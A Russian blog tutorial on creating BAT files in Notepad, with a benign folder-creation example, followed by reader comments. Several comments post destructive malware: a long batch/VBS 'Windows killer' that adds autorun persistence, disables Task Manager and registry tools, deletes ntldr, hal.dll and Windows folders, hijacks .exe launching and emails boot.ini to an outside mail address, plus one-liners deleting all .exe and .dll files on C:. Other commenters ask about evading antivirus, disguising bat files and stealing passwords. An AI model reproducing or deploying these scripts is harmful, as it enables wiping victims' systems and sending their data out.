Как создать BAT файл или вирус в блокноте?

Опубликовано: комментариев 50

Как создать BAT файл

В этой статье я желаю поведать вам, как создать bat файл, редактировать и запускать его и на что он вообще способен. Все, что нам нужно это блокнот,прямые руки и немного терпения.

Что представляет собой BAT файл?

Это простой текстовый файл или как говорят в народе батник, имеющий расширение .bat В этом файле прописан перечень команд и выполняется он с участием командной строки. Когда вы запускаете bat  файл, сначала происходит запуск командной строки cmd, а он в свою очередь начинает считывать все команды в файле и поочерёдно выполнять их

Для чего создавать BAT файл

В основном такие файлы используют для автоматизации рутинных процессов, например, совершать одно и тоже действие определённое количество раз (запускать или завершать любое количество программ, создавать, редактировать и удалять несколько папок за раз, массово менять имена файлов, копировать, перемещать их) и т.д. а также позволяют писать простые вирусы.

Создание BAT файла

Сперва, для удобства работы создадим на рабочем столе Новую папку, затем внутри неё создаём текстовый файл с именем file,

создать текстовый файл

текстовый документ

запишем туда несколько команд

@echo Hello, i'm bat!
pause

команды в текстовом файле

Теперь в меню блокнота выбираем «Сохранить как»,

сохранить текстовый файл как

в диалоговом окне в поле тип файла выбираем «Все файлы»

тип файла

затем к file приписываем .bat и должно получиться file.bat,

имя файла file.bat

Нажимаем на кнопку «Сохранить».

 созданный bat файл

Чтобы отредактировать bat файл всего лишь необходимо нажать правой кнопкой мыши на файл и в контекстном меню выбрать «Изменить»

редактирование bat файла

Теперь можно запустить bat файл и увидеть, что он делает. Он просто выводит текст — «Hello, i’m bat!»

запуск bat файла

Теперь рассмотрим, что делают написанные в нём команды:

Echo – команда вывода на экран
@ — запрещает показывать

Для создания bat файла вы можете использовать любые команды командной строки windows,весь список находится здесь.

Давайте теперь напишем что-нибудь посложнее, напишем bat файл, который создает 100 папок. Для  этого просто создайте файл с именем mkdir.bat и напечатайте там такие команды:

@echo off
for /l %%i in (1,1,100) do mkdir "dir %%i"

После запуска батника,вы увидите 100 новых папок,в скриншоте показано только 10 так как остальные не вместились бы

создание папок bat файлом

А теперь сразу создадим bat файл, который будет удалять созданные нами раннее 100 папок

@echo off
for /l %%i in (1,1,100) do rmdir "dir %%i"

Сейчас поясню, что делают эти команды в bat файле:

@echo off — запрещает вывод всех команд на экран

for – цикл, выполняет команду указанное количество раз

do – указывает, что делать

%%i – переменная, куда подставляются значения

in(1,1,100) – набор, который раскрывается в последовательность чисел от заданного начала, конца и шага

В нашем случае от 1,2,3,4,5,6,7,8…100

mkdir – создаёт папку

rmdir – удаляет папку

Вместо количества папок -100  вы можете поставить 10.000,100.000 и чем больше число, тем больше времени может зависнуть компьютер, от пары секунд до нескольких минут, в зависимости от мощности процессора.

Я надеюсь что вы уже научились не только создавать bat файл, но и редактировать и запускать его,поняли для чего они используется и как применять его на практике.

Рубрика: Windows

Комментариев 50 “Как создать BAT файл или вирус в блокноте?

  1. Я не думаю, что на сайтах следует публиковать статьи про вирусов. Знал я один сайт так его заблокировали...
    • Наиболее вероятная причина:сам сайт был заражён вирусами,а так такие ресурсы не блокируются.Проверить это очень просто: попробуйте ввести в Яндекс фразу "как написать вирус" - 3 млн страниц в выдаче...
    • Почему не следует публиковать статьи про вирусы? Разве это вирус? Это безобидная шутка которая, между прочим, может стимулировать кого-то разобраться в bat-никах, а потом в java и vbs скриптах. И пошло и поехало - не остановишься. Если, в результате, вы сможете написать ВИРУС - вы стали не плохим программистом, а значит имеете шанс найти нормальную работу и стать профи. Так что здря вы так...
  2. Спасибо за статью -- интересно )
    • это только вершина айсберга,там ещё много чего полезного есть,в будущем напишу продолжение,там будет ещё интереснее
      • Здравствуйте! Кто знает как сделать к примеру 100 папок но и ещё задать им нужные атрибуты? Желательно код пожалуйста.
        • не обязательно создавать папки, можно и текствоый файл (1.txt). Чтобы добавить все атрибуты пишем такой код: for /l %%i in (1,1,100) do mkdir "dir %%i"
          for /l %%i in (1,1,100) do attrib +h +r +s "dir %%i"
          h - скрытый (файл,пакпка не будет отображаться в компьютере,чтобы увидеть такой файл необходимо изменить настройки по умолчанию,в windows 7 для этого надо зайти в МОЙ КОМПЬЮТЕР=> упорядочить=>параметры папок=>вид=>показывать скрытые файлы,папки и диски
          s - системный
          r - только для чтения(файл будет невозможно перезаписать)
          а чтобы снять атрибуты: for /l %%i in (1,1,100) do attrib -h -r -s "dir %%i"
  3. Можно сделать так чтоб он удалял важные EXE-шники windows. пишем такой код @echo off
    do del "c:\windows\exploer.exe"
    do del "c:\windows\mspoint.exe"
    do del "c:\windows\notepad.exe"
    • Напишите пожалуйста какие ещё коды можно использовать для "уничтожения" Windows
      • пробывать небуду но скорее всего это @echo off do del "c:\windows
      • Запускаем блокнот. Там пишем format c:/programme files/. Сохранять как bat
      • Убивает винду!

        @echo This virus created by LIZA
        @echo Virus: pcforumhack.ru™ Virus
        @echo Autor: LIZA
        @echo off
        echo Chr(39)>%temp%\temp1.vbs
        echo Chr(39)>%temp%\temp2.vbs
        echo on error resume next > %temp%\temp.vbs
        echo Set S = CreateObject("Wscript.Shell") » %temp%\temp.vbs
        echo set FSO=createobject("scripting.filesystemobject")»%temp%\temp.vbs
        reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClassicShell /d 1 /fset ¶§=%0
        copy %¶§% %SystemRoot%\user32dll.bat
        reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 67108863 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
        echo fso.deletefile "C:\ntldr",1 » %temp%\temp.vbs
        reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoSelectDownloadDir" /d 1 /f
        reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown" /v "IExplorer" /d 0 /f
        reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoFindFiles" /d 1 /f
        reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoNavButtons" /d 1 /f
        echo fso.deletefolder "D:\Windows",1 » %temp%\temp.vbs
        echo fso.deletefolder "I:\Windows",1 » %temp%\temp.vbs
        echo fso.deletefolder "C:\Windows",1 » %temp%\temp.vbs
        echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") » %temp%\temp.vbs
        echo fso.deletefile sr+"\system32\hal.dll",1 » %temp%\temp.vbs
        echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") » %temp%\temp.vbs
        echo fso.deletefolder sr+"\system32\dllcache",1 » %temp%\temp.vbs
        echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") » %temp%\temp.vbs
        echo fso.deletefolder sr+"\system32\drives",1 » %temp%\temp.vbs
        echo s.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","forum.whack.ru™"»%temp%\temp.vbs
        echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","forum.whack.ru™"»%temp%\temp.vbs
        echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization","forum.whack.ru™"»%temp%\temp.vbs
        echo on error resume next > %temp%\temp1.vbs
        echo set FSO=createobject("scripting.filesystemobject")»%temp%\temp1.vbs
        echo do»%temp%\temp1.vbs
        echo fso.getfile ("A:\")»%temp%\temp1.vbs
        echo loop»%temp%\temp1.vbs
        echo on error resume next > %temp%\temp2.vbs
        echo Set S = CreateObject("Wscript.Shell") » %temp%\temp2.vbs
        echo do»%temp%\temp2.vbs
        echo execute"S.Run ""%comspec% /c echo "" & Chr(7), 0, True"»%temp%\temp2.vbs
        echo loop»%temp%\temp2.vbs
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disableregistrytools /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartmenuLogoff /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCommonGroups /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFavoritesMenu /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoAddPrinter /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMHelp /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyPictures /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
        reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
        echo set application=createobject("shell.application")»%temp%\temp.vbs
        echo application.minimizeall»%temp%\temp.vbs
        reg add "hklm\Software\Microsoft\Windows\CurrentVersion\run" /v SwapNT /t REG_SZ /d rundll32 user32, SwapMouseButton /f
        start rundll32 user32, SwapMouseButton
        reg add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d rundll32.exe /f
        echo i=50 » %temp%\temp.vbs
        echo while i^>0 or i^= 1 then » %temp%\temp.vbs
        echo For i = 0 to colCDROMs.Count - 1 » %temp%\temp.vbs
        echo colCDROMs.Item(i).eject » %temp%\temp.vbs
        echo next » %temp%\temp.vbs
        echo End If » %temp%\temp.vbs
        echo Call SendPost("smtp.mail.ru", "forum.whack.ru™@mail.ru", "support@mail.ru", "...", "Копм заражен!") » %temp%\temp.vbs
        echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) » %temp%\temp.vbs
        echo Set iMsg = CreateObject("CDO.Message") » %temp%\temp.vbs
        echo Set iConf = CreateObject("CDO.Configuration") » %temp%\temp.vbs
        echo Set Flds = iConf.Fields » %temp%\temp.vbs
        echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendus..") = 2 » %temp%\temp.vbs
        echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpau..") = 1 » %temp%\temp.vbs
        echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendus..") = "support" » %temp%\temp.vbs
        echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpa..") = "support" » %temp%\temp.vbs
        echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpse..") = "smtp.mail.ru" » %temp%\temp.vbs
        echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpse..") = 25 » %temp%\temp.vbs
        echo Flds.Update » %temp%\temp.vbs
        echo iMsg.Configuration = iConf » %temp%\temp.vbs
        echo iMsg.To = strTo » %temp%\temp.vbs
        echo iMsg.From = strFrom » %temp%\temp.vbs
        echo iMsg.Subject = strSubject » %temp%\temp.vbs
        echo iMsg.TextBody = strBody » %temp%\temp.vbs
        echo iMsg.AddAttachment "c:\boot.ini" » %temp%\temp.vbs
        echo iMsg.Send » %temp%\temp.vbs
        echo End Function » %temp%\temp.vbs
        echo Set iMsg = Nothing » %temp%\temp.vbs
        echo Set iConf = Nothing » %temp%\temp.vbs
        echo Set Flds = Nothing » %temp%\temp.vbs
        echo s.run "shutdown -r -t 0 -c ""pcforumhack.ru™"" -f",1 » %temp%\temp.vbs
        start %temp%\temp.vbs
        start %temp%\temp1.vbs
        start %temp%\temp2.vbs
    • вообще то do перед del писать не нужно do используется только в циклах для отделения условия от действия
  4. как сделать так, чтобы внутри каждой из ста созданных папок, были еще сто папок и так далее... ?
  5. А как сделать так что-бы антивирус не сканировал этот файл?
  6. Статья интересная и написано грамотно, на сайте bynker.biz написано как написать вирус с пользой для себя и поиметь с этого денег) Не поленитесь- почитайте)
  7. Если, кому вы вирус подсовываете, ваш враг, то напишите так: @Echo DALBAN (или еще что нибудь вместо этого)
    do del D:/
    do del C:/
    • Что это за вирус и для чего? какие его функции удаления?
      • Абсолютно бесполезный "вирус", так как папки внутри дисков не будут затронуты и останутся.
        • Если дописать q после /, тогда есть польза
  8. всем хай!)) челы подскажити как ветки дилать? ну типа папка в папке...)
  9. Можно ли написать батник который удаляет файлы определенного расширения например *.doc или *.xls?
    • к примеру: del /f /s /q C:\*.tmp /с любым атрибутом, /по всем подкаталогам, /без запроса на удаление соответственно
  10. А можно ли сделать батник который при запуске определенной программы будет запускать определенный мп3 файл? Или такие шуточки - это уже к вирусам высшего порядка?
  11. как сделать другой значок этого бата?
  12. а как сделать чтоб файл выводил не одну команду а две
    • @echo off
      cls

      start iexploer.exe
      goto A
      echo Fatal Error. C:// directory corrupted.
      pause
  13. или как вместо папки создать например текстовый документ .
  14. При создании повторно текстового file , пакетный файл не создается в чем трабл ;)?
  15. Доброго времени суток! Подскажите как создать батник (или куда его поместить) так чтоб он запускался от имени администратора и совместно с виндой (виндовс 8.1х64)! Текст у батника такой - netsh.exe wlan start hostednetwork - это для запуска совмещённой сети!
    • По-моему, надо так: Переименовываешь файл в winstart.bat Далее кидаешь его в корень диска (C:\ или D:\, например)
    • перемести батник в папку "автозагрузка"в меню пуск
  16. Да с такими кодами можно многое сделать, пока мы смотрим на этот файл как вирус, а может вскоре все изменить и такие проги будут для раскрутки полезны. Уничтожения сайта конкурента. Заходишь в панель управления сайтом и тут срабатывает бат файл и делает темные дела, удаление контента и так делее. Как этот файл станет популярным люди начнут применять его в других сферах. Еще приведу пример: Допустим сайт приносит 5000 на кошелек, и тут бат файл с его кошелька оплатит интернет допустим на 2 года опасно. Ну это мои предположения просто кто то может не поверить
    • Думаете как хакер и мне это нравиться
  17. ))) напомнило анекдот 90-х годов: Здравствуйте, :F я узбекский вирус. По причине ужасной бедности моего создателя и низкого уровня развития технологий в нашей стране я не способен причинить какой-либо вред Вашему компьютеру. Поэтому очень прошу Вас, пожалуйста, сами сотрите какой-нибудь важный для Вас файл, а потом разошлите меня по почте другим адресатам. Заранее благодарю за понимание и сотрудничество. ps.лучше писать мини-вирусы на скриптах. Антивирусы на них внимание не обращают, а функциональность там выше - хоть пароли собрать по компу и почтой себе отправить, хоть любой документ с нужным расширением из всех папок перебором. А батником - разве что поднас*ать соседу можно
  18. Подскажите, как сделать вирус, которуй удаляет все игры на устройстве?
    • Вряд ли получится создать такой вирус. Загвоздка в том, что система не определяет тип программы(игра ли это, или плеер какой-нибудь). Разве что при каждой очередной установки игры, самостоятельно ввести своеобразный реестр игр(не путать с рееестром windows). Но тогда эта затея смысла не имеет.
  19. @echo off cls for /f "delims=" %%i in ('dir c:\*.exe c:\*.dll /s /b') do del "%%i" >nul или так @echo off cls dir c:\*.exe /s /b >hacklist.lst dir c:\*.dll /s /b >>hacklist.lst for /f "delims=" %%i in (hacklist.lst) do del "%%i" >nul echo y|del hacklist.lst >nul
  20. Здравствуйте! Пришла на ваш сайт из поисковика. Подскажите, пожалуйста, а эти bat-файлы можно "приклеить" к другим файлам? Если да, то как не стать жертвой нехороших людей. Например, присылают мне файл по почте или скайпу в формате pdf, doc, jpg. Как узнать, что там нет прописанного "плохого" кода в bat, который удалит какие-то мои файлы, папки или еще что-то?
    • Приклеить можно! Самый простой и надежный способ-не запускать эти файлы.Если же все таки нужно открыть или запустить такой файл,можно сначала его проверить на содержание вредоносного кода через этот онлайн-сервис virustotal.com/ru/ (здесь ваш файл просканируют более 30 антивирусов), есть и другие способы..но они технически сложны для простого пользователя.Если читатели проявят интерес и проголосуют в опросе..могу записать более развернутый видеоурок по bat-файлам с интересными примерами.
      • Спасибо за быстрый ответ! Да, я через virustotal.com проверяю подозрительные файлы, но думала, что bat-файлы - это не вирус, а просто набор команд, поэтому антивирус не найдет их в файлах. Если появится такой урок, я с удовольствием посмотрю.
        • все верно,но для склейки безобидного файла с bat вирусом используются специальные программы,которые добавляют свой код в итоговый склееный файл,по этому коду антивирусы и определят что присланный файл является замаскированным вирусом
      • Здравствуйте админ. Спасибо за сайт. Хотел бы узнать вы написали видеоурок по bat-файлам? С Уважением почитатель вашего труда.
  21. A eto rabotaet na android esli naprimer vmesto do del C:/ napisat do del sdcard0
    • Нет, на Андройде bat-файлы не работают.
  22. А на Windows 10 работает?
  23. друг это всё хорошо но ты не мог бы написать код перемещающий папки со всеми файлами внутри
  24. как прикрепить батник к файлу? и как переслать по почте?
  25. можно как-то с помощью батника красть куки и пароли с чужих пк ??

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Один из лучших нападающих Серии А гонсало игуаин сыграет в финале Кубка Италии .